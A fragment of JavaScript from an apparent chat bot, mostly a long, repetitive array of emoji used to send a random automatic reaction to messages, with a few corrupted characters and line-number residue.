'🍸', '🎂', '📱', '📺', '📻', '🎤', '📚', '💻', '📸', '📷', '❤️', '💔', '❣️', '☀️', '🌙', '🌃', '🏠', '🚪', "🇺🇸", "🇬🇧", "🇨🇦", "🇦🇺", "🇯🇵", "🇫🇷", "🇪🇸", '👍', '👎', '👏', '👫', '👭', '👬', '👮', '🤝', '🙏', '👑', '🌻', '🌺', '🌸', '🌹', '🌴', "🏞️", '🌊', '🚗', '🚌', "🛣️", "🛫️", "🛬️", '🚣', '🛥', '🚂', '🚁', '🚀', "🏃♂️", "🏋️♀️", "🏊♂️", "🏄♂️", '🎾', '🏀', '🏈', '🎯', '🏆', '??', '⬆️', '⬇️', '⇒', '⇐', '↩️', '↪️', 'ℹ️', '‼️', '⁉️', '‽️', '©️', '®️', '™️', '🔴', '🔵', '🟢', '🔹', '🔺', '💯', '👑', '🤣', "🤷♂️", "🤷♀️", "🙅♂️", "🙅♀️", "🙆♂️", "🙆♀️", "🤦♂️", "🤦♀️", '🏻', '💆♂️', "💆♀️", "🕴♂️", "🕴♀️", "💇♂️", "💇♀️", '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '�', '🏯', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🌳', '🌲', '🌾', '🌿', '🍃', '🍂', '🍃', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌱', '🌿', '🍃', '🍂', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🐒', '🦍', '🦧', '🐶', '🐕', '🦮', "🐕🦺", '🐩', '🐺', '🦊', '🦝', '🐱', '🐈', "🐈⬛", '🦁', '🐯', '🐅', '🐆', '🐴', '🐎', '🦄', '🦓', '🦌', '🦬', '🐮', '🐂', '🐃', '🐄', '🐷', '🐖', '🐗', '🐽', '🐏', '🐑', '🐐', '🐪', '🐫', '🦙', '🦒', '🐘', '🦣', '🦏', '🦛', '🐭', '🐁', '🐀', '🐹', '🐰', '🐇', "🐿️", '🦫', '🦔', '🦇', '🐻', "🐻❄️", '🐨', '🐼', '🦥', '🦦', '🦨', '🦘', '🦡', '🐾', '🦃', '🐔', '🐓', '🐣', '🐤', '🐥', '🐦', '🐧', "🕊️", '🦅', '🦆', '🦢', '🦉', '🦤', '🪶', '🦩', '🦚', '🦜', '🐸', '🐊', '🐢', '🦎', '🐍', '🐲', '🐉', '🦕', '🦖', '🐳', '🐋', '🐬', '🦭', '🐟', '🐠', '😀', '😃', '😄', '😁', '😆', '😅', '🤣', '😂', '🙂', '🙃', '😉', '😊', '😇', '🥰', '😍', '🤩', '😘', '😗', '☺️', '😚', '😙', '🥲', '😋', '😛', '😜', '🤪', '😝', '🤑', '🤗', '🤭', '🤫', '🤔', '🤐', '🤨', '😐', '😑', '😶', "😶🌫️", '😏', '😒', '🙄', '😬', "😮💨", '🤥', '😌', '😔', '😪', '🤤', '😴', '😷', '🤒', '🤕', '🤢', '🤮', '🤧', '🥵', '🥶', '🥴', '😵', "😵💫", '🤯', '🤠', '🥳', '🥸', '😎', '🤓', '🧐', '😕', '😟', '🙁', '☹️', '😮', '😯', '😲', '😳', '🥺', '😦', '😧', '😨', '😰', '😥', '😢', '😭', '😱', '😖', '😣', '😞', '😓', '😩', '😫', '🥱', '😤', '😡', '😠', '🤬', '😈', '👿', '💀', '☠️', '💩', '🤡', '👹', '👺', '👻', '👽', '👾', '🤖', '😺', '😸', '😹', '😻', '😼', '😽', '🙀', '😿', '😾', '🙈', '🙉', '🙊', '💋', '💌', '💘', '💝', '💖', '💗', '💓', '💞', '💕', '💟', '❣️', '💔', "❤️🔥", "❤️🩹", '❤️', '🧡', '💛', '💚', '💙', '💜', '🤎', '🖤', '🤍', '💯', '💢', '💥', '💫', '💦', '💨', "🕳️", '💣', '💬', "👁️🗨️", "🗨️", "🗯️", '💭', '💤', '👋', '🤚', "🖐️", '✋', '🖖', '👌', '🤌', '🤏', '✌️', '🤞', '🤟', '🤘', '🤙', '👈', '👉', '👆', '🖕', '👇', '☝️', '👍', '👎', '✊', '👊', '🤛', '🤜', '👏', '🙌', '👐', '🤲', '🤝', '🙏', '✍️', '💅', '🤳', '💪', '🦾', '🦿', '🦵', '🦶', '👂', '🦻', '👃', '🧠', '🫀', '🫁', '🦷', '🦴', '👀', "👁️", '👅', '👄', '👶', '🧒', '👦', '👧', '🧑', '👱', '👨', '🧔', "🧔♂️", "🧔♀️", "👨🦰", "👨🦱", "👨🦳", "👨🦲", '👩', "👩🦰", "🧑🦰", "👩🦱", "🧑🦱", "👩🦳", "🧑🦳", "👩🦲", "🧑🦲", "👱♀️", "👱♂️", '🧓', '👴', '👵', '🙍', "🙍♂️", "🙍♀️", '🙎', "🙎♂️", "🙎♀️", '🙅', "🙅♂️", "🙅♀️", '🙆', "🙆♂️", "🙆♀️", '💁', "💁♂️", "💁♀️", '🙋', "🙋♂️", "🙋♀️", '🧏', "🧏♂️", "🧏♀️", '🙇', "🙇♂️", "🙇♀️", '🤦', "🤦♂️", "🤦♀️", '🤷', "🤷♂️", "🤷♀️", "🧑⚕️", "👨⚕️", "👩⚕️", "🧑🎓", "👨🎓", "👩🎓", "🧑🏫", '👨🏫', "👩🏫", "🧑⚖️", "👨⚖️", "👩⚖️", "🧑🌾", "👨🌾", "👩🌾", "🧑🍳", "👨🍳", "👩🍳", "🧑🔧", "👨🔧", "👩🔧", "🧑🏭", "👨🏭", "👩🏭", "🧑💼", "👨💼", "👩💼", "🧑🔬", "👨🔬", "👩🔬", "🧑💻", "👨💻", "👩💻", "🧑🎤", "👨🎤", "👩🎤", "🧑🎨", "👨🎨", "👩🎨", "🧑✈️", "👨✈️", "👩✈️", "🧑🚀", "👨🚀", "👩🚀", "🧑🚒", "👨🚒", "👩🚒", '👮', "👮♂️", "👮♀️", "🕵️", "🕵️♂️", "🕵️♀️", '💂', "💂♂️", "💂♀️", '🥷', '👷', "👷♂️", "👷♀️", '🤴', '👸', '👳', "👳♂️", "👳♀️", '👲', '🧕', '🤵', "🤵♂️", "🤵♀️", '👰', "👰♂️", "👰♀️", '🤰', '🤱', "👩🍼", "👨🍼", "🧑🍼", '👼', '🎅', '🤶', "🧑🎄", '🦸', "🦸♂️", "🦸♀️", '🦹', "🦹♂️", "🦹♀️", '🧙', "🧙♂️", "🧙♀️", '🧚', "🧚♂️", "🧚♀️", '🧛', "🧛♂️", "🧛♀️", '🧜', "🧜♂️", "🧜♀️", '🧝', "🧝♂️", "🧝♀️", '🧞', "🧞♂️", "🧞♀️", '🧟', "🧟♂️", "🧟♀️", '💆', "💆♂️", "💆♀️", '💇', "💇♂️", "💇♀️", '🚶', "🚶♂️", "🚶♀️", '🧍', "🧍♂️", "🧍♀️", '🧎', "🧎♂️", "🧎♀️", "🧑🦯", "👨🦯", "👩🦯", "🧑🦼", "👨🦼", "👩🦼", "🧑🦽", "👨🦽", "👩🦽", '🏃', "🏃♂️", "🏃♀️", '💃', '🕺', "🕴️", '👯', "👯♂️", "👯♀️", '🧖', "🧖♂️", "🧖♀️", '🧗', "🧗♂️", "🧗♀️", '🤺', '🏇', '⛷️', '🏂', "🏌️", "🏌️♂️", "🏌️♀️", '🏄', "🏄♂️", "🏄♀️", '🚣', "🚣♂️", "🚣♀️", '🏊', "🏊♂️", "🏊♀️", '⛹️', "⛹️♂️", "⛹️♀️", "🏋️", "🏋️♂️", "🏋️♀️", '🚴', "🚴♂️", '🚴♀️', '🚵', "🚵♂️", "🚵♀️", '🤸', "🤸♂️", "🤸♀️", '🤼', "🤼♂️", "🤼♀️", '🤽', "🤽♂️", "🤽♀️", '🤾', "🤾♂️", "🤾♀️", '🤹', "🤹♂️", "🤹♀️", '🧘', "🧘♂️", "🧘♀️", '🛀', '🛌', "🧑🤝🧑", '👭', '👫', '👬', '💏', "👩❤️💋👨", "👨❤️💋👨", "👩❤️💋👩", '💑', "👩❤️👨", "👨❤️👨", "👩❤️👩", '👪', "👨👩👦", "👨👩👧", "👨👩👧👦", "👨👩👦👦", "👨👩👧👧", "👨👨👦", '👨👨👧', "👨👨👧👦", "👨👨👦👦", "👨👨👧👧", "👩👩👦", "👩👩👧", "👩👩👧👦", "👩👩👦👦", "👩👩👧👧", "👨👦", "👨👦👦", "👨👧", "👨👧👦", "👨👧👧", "👩👦", "👩👦👦", "👩👧", "👩👧👦", "👩👧👧", "🗣️", '👤', '👥', '🫂', '👣', '🦰', '🦱', '🦳', '🦲', '🐵'];
|
542 |
-
|
543 |
-
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; //
|
544 |
-
m.react(randomReaction);
|
545 |
-
}
|
546 |
-
}
|
547 |
-
|
548 |
-
// Owner React
|
549 |
-
if (!isReact && senderNumber === botNumber) {
|
550 |
-
if (config.AUTO_REACT === 'true') {
|
551 |
-
const reactions = ['😊', '👍', '😂', '💯', '🔥', '🙏', '🎉', '👏', '😎', '🤖', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '��', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '🙂', '😑', '🤣', '😍', '😘', '😗', '😙', '😚', '😛', '😝', '😞', '😟', '😠', '😡', '😢', '😭', '😓', '😳', '😴', '😌', '😆', '😂', '🤔', '😒', '😓', '😶', '🙄', '🐶', '🐱', '🐔', '🐷', '🐴', '🐲', '🐸', '🐳', '🐋', '🐒', '🐑', '🐕', '🐩', '🍔', '🍕', '🥤', '🍣', '🍲', '🍴', '🍽', '🍹', '🍸', '🎂', '📱', '📺', '📻', '🎤', '📚', '💻', '📸', '📷', '❤️', '💔', '❣️', '☀️', '🌙', '🌃', '🏠', '🚪', "🇺🇸", "🇬🇧", "🇨🇦", "🇦🇺", "🇯🇵", "🇫🇷", "🇪🇸", '👍', '👎', '👏', '👫', '👭', '👬', '👮', '🤝', '🙏', '👑', '🌻', '🌺', '🌸', '🌹', '🌴', "🏞️", '🌊', '🚗', '🚌', "🛣️", "🛫️", "🛬️", '🚣', '🛥', '🚂', '🚁', '🚀', "🏃♂️", "🏋️♀️", "🏊♂️", "🏄♂️", '🎾', '🏀', '🏈', '🎯', '🏆', '??', '⬆️', '⬇️', '⇒', '⇐', '↩️', '↪️', 'ℹ️', '‼️', '⁉️', '‽️', '©️', '®️', '™️', '🔴', '🔵', '🟢', '🔹', '🔺', '💯', '👑', '🤣', "🤷♂️", "🤷♀️", "🙅♂️", "🙅♀️", "🙆♂️", "🙆♀️", "🤦♂️", "🤦♀️", '🏻', '💆♂️', "💆♀️", "🕴♂️", "🕴♀️", "💇♂️", "💇♀️", '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '�', '🏯', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🌳', '🌲', '🌾', '🌿', '🍃', '🍂', '🍃', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌱', '🌿', '🍃', '🍂', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '����', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🐒', '🦍', '🦧', '🐶', '🐕', '🦮', "🐕🦺", '🐩', '🐺', '🦊', '🦝', '🐱', '🐈', "🐈⬛", '🦁', '🐯', '🐅', '🐆', '🐴', '🐎', '🦄', '🦓', '🦌', '🦬', '🐮', '🐂', '🐃', '🐄', '🐷', '🐖', '🐗', '🐽', '🐏', '🐑', '🐐', '🐪', '🐫', '🦙', '🦒', '🐘', '🦣', '🦏', '🦛', '🐭', '🐁', '🐀', '🐹', '🐰', '🐇', "🐿️", '🦫', '🦔', '🦇', '🐻', "🐻❄️", '🐨', '🐼', '🦥', '🦦', '🦨', '🦘', '🦡', '🐾', '🦃', '🐔', '🐓', '🐣', '🐤', '🐥', '🐦', '🐧', "🕊️", '🦅', '🦆', '🦢', '🦉', '🦤', '🪶', '🦩', '🦚', '🦜', '🐸', '🐊', '🐢', '🦎', '🐍', '🐲', '🐉', '🦕', '🦖', '🐳', '🐋', '🐬', '🦭', '🐟', '🐠', '😀', '😃', '😄', '😁', '😆', '😅', '🤣', '😂', '🙂', '🙃', '😉', '😊', '😇', '🥰', '😍', '🤩', '😘', '😗', '☺️', '😚', '😙', '🥲', '😋', '😛', '😜', '🤪', '😝', '🤑', '🤗', '🤭', '🤫', '🤔', '🤐', '🤨', '😐', '😑', '😶', "😶🌫️", '😏', '😒', '🙄', '😬', "😮💨", '🤥', '😌', '😔', '😪', '🤤', '😴', '😷', '🤒', '🤕', '🤢', '🤮', '🤧', '🥵', '🥶', '🥴', '😵', "😵💫", '🤯', '🤠', '🥳', '🥸', '😎', '🤓', '🧐', '😕', '😟', '🙁', '☹️', '😮', '😯', '😲', '😳', '🥺', '😦', '😧', '😨', '😰', '😥', '😢', '😭', '😱', '😖', '😣', '😞', '😓', '😩', '😫', '🥱', '😤', '😡', '😠', '🤬', '😈', '👿', '💀', '☠️', '💩', '🤡', '👹', '👺', '👻', '👽', '👾', '🤖', '😺', '😸', '😹', '😻', '😼', '😽', '🙀', '😿', '😾', '🙈', '🙉', '🙊', '💋', '💌', '💘', '💝', '💖', '💗', '💓', '💞', '💕', '💟', '❣️', '💔', "❤️🔥", "❤️🩹", '❤️', '🧡', '💛', '💚', '💙', '💜', '🤎', '🖤', '🤍', '💯', '💢', '💥', '💫', '💦', '💨', "🕳️", '💣', '💬', "👁️🗨️", "🗨️", "🗯️", '💭', '💤', '👋', '🤚', "🖐️", '✋', '🖖', '👌', '🤌', '🤏', '✌️', '🤞', '🤟', '🤘', '🤙', '👈', '👉', '👆', '🖕', '👇', '☝️', '👍', '👎', '✊', '👊', '🤛', '🤜', '👏', '🙌', '👐', '🤲', '🤝', '🙏', '✍️', '💅', '🤳', '💪', '🦾', '🦿', '🦵', '🦶', '👂', '🦻', '👃', '🧠', '🫀', '🫁', '🦷', '🦴', '👀', "👁️", '👅', '👄', '👶', '🧒', '👦', '👧', '🧑', '👱', '👨', '🧔', "🧔♂️", "🧔♀️", "👨🦰", "👨🦱", "👨🦳", "👨🦲", '👩', "👩🦰", "🧑🦰", "👩🦱", "🧑🦱", "👩🦳", "🧑🦳", "👩🦲", "🧑🦲", "👱♀️", "👱♂️", '🧓', '👴', '👵', '🙍', "🙍♂️", "🙍♀️", '🙎', "🙎♂️", "🙎♀️", '🙅', "🙅♂️", "🙅♀️", '🙆', "🙆♂️", "🙆♀️", '💁', "💁♂️", "💁♀️", '🙋', "🙋♂️", "🙋♀️", '🧏', "🧏♂️", "🧏♀️", '🙇', "🙇♂️", "🙇♀️", '🤦', "🤦♂️", "🤦♀️", '🤷', "🤷♂️", "🤷♀️", "🧑⚕️", "👨⚕️", "👩⚕️", "🧑🎓", "👨🎓", "👩🎓", "🧑🏫", '👨🏫', "👩🏫", "🧑⚖️", "👨⚖️", "👩⚖️", "🧑🌾", "👨🌾", "👩🌾", "🧑🍳", "👨🍳", "👩🍳", "🧑🔧", "👨🔧", "👩🔧", "🧑🏭", "👨🏭", "👩🏭", "🧑💼", "👨💼", "👩💼", "🧑🔬", "👨🔬", "👩🔬", "🧑💻", "👨💻", "👩💻", "🧑🎤", "👨🎤", "👩🎤", "🧑🎨", "👨🎨", "👩🎨", "🧑✈️", "👨✈️", "👩✈️", "🧑🚀", "👨🚀", "👩🚀", "🧑🚒", "👨🚒", "👩🚒", '👮', "👮♂️", "���♀️", "🕵️", "🕵️♂️", "🕵️♀️", '💂', "💂♂️", "💂♀️", '🥷', '👷', "👷♂️", "👷♀️", '🤴', '👸', '👳', "👳♂️", "👳♀️", '👲', '🧕', '🤵', "🤵♂️", "🤵♀️", '👰', "👰♂️", "👰♀️", '🤰', '🤱', "👩🍼", "👨🍼", "🧑🍼", '👼', '🎅', '🤶', "🧑🎄", '🦸', "🦸♂️", "🦸♀️", '🦹', "🦹♂️", "🦹♀️", '🧙', "🧙♂️", "🧙♀️", '🧚', "🧚♂️", "🧚♀️", '🧛', "🧛♂️", "🧛♀️", '🧜', "🧜♂️", "🧜♀️", '🧝', "🧝♂️", "🧝♀️", '🧞', "🧞♂️", "🧞♀️", '🧟', "🧟♂️", "🧟♀️", '💆', "💆♂️", "💆♀️", '💇', "💇♂️", "💇♀️", '🚶', "🚶♂️", "🚶♀️", '🧍', "🧍♂️", "🧍♀️", '🧎', "🧎♂️", "🧎♀️", "🧑🦯", "👨🦯", "👩🦯", "🧑🦼", "👨🦼", "👩🦼", "🧑🦽", "👨🦽", "👩🦽", '🏃', "🏃♂️", "🏃♀️", '💃', '🕺', "🕴️", '👯', "👯♂️", "👯♀️", '🧖', "🧖♂️", "🧖♀️", '🧗', "🧗♂️", "🧗♀️", '🤺', '🏇', '⛷️', '🏂', "🏌️", "🏌️♂️", "🏌️♀️", '🏄', "🏄♂️", "🏄♀️", '🚣', "🚣♂️", "🚣♀️", '🏊', "🏊♂️", "🏊♀️", '⛹️', "⛹️♂️", "⛹️♀️", "🏋️", "🏋️♂️", "🏋️♀️", '🚴', "🚴♂️", '🚴♀️', '🚵', "🚵♂️", "🚵♀️", '🤸', "🤸♂️", "🤸♀️", '🤼', "🤼♂️", "🤼♀️", '🤽', "🤽♂️", "🤽♀️", '🤾', "🤾♂️", "🤾♀️", '🤹', "🤹♂️", "🤹♀️", '🧘', "🧘♂️", "🧘♀️", '🛀', '🛌', "🧑🤝🧑", '👭', '👫', '👬', '💏', "👩❤️💋👨", "👨❤️💋👨", "👩❤️💋👩", '💑', "👩❤️👨", "👨❤️👨", "👩❤️👩", '👪', "👨👩👦", "👨👩👧", "👨👩👧👦", "👨👩👦👦", "👨👩👧👧", "👨👨👦", '👨👨👧', "👨👨👧👦", "👨👨👦👦", "👨👨👧👧", "👩👩👦", "👩👩👧", "👩👩👧👦", "👩👩👦👦", "👩👩👧👧", "👨👦", "👨👦👦", "👨👧", "👨👧👦", "👨👧👧", "👩👦", "👩👦👦", "👩👧", "👩👧👦", "👩👧👧", "🗣️", '👤', '👥', '🫂', '👣', '🦰', '🦱', '🦳', '🦲', '🐵'];
|
552 |
-
const randomOwnerReaction = reactions[Math.floor(Math.random() * reactions.length)]; //
|
553 |
-
m.react(randomOwnerReaction);
|
554 |
-
}
|
555 |
-
}
|
556 |
-
|
557 |
-
// custum react settings
|
558 |
-
|
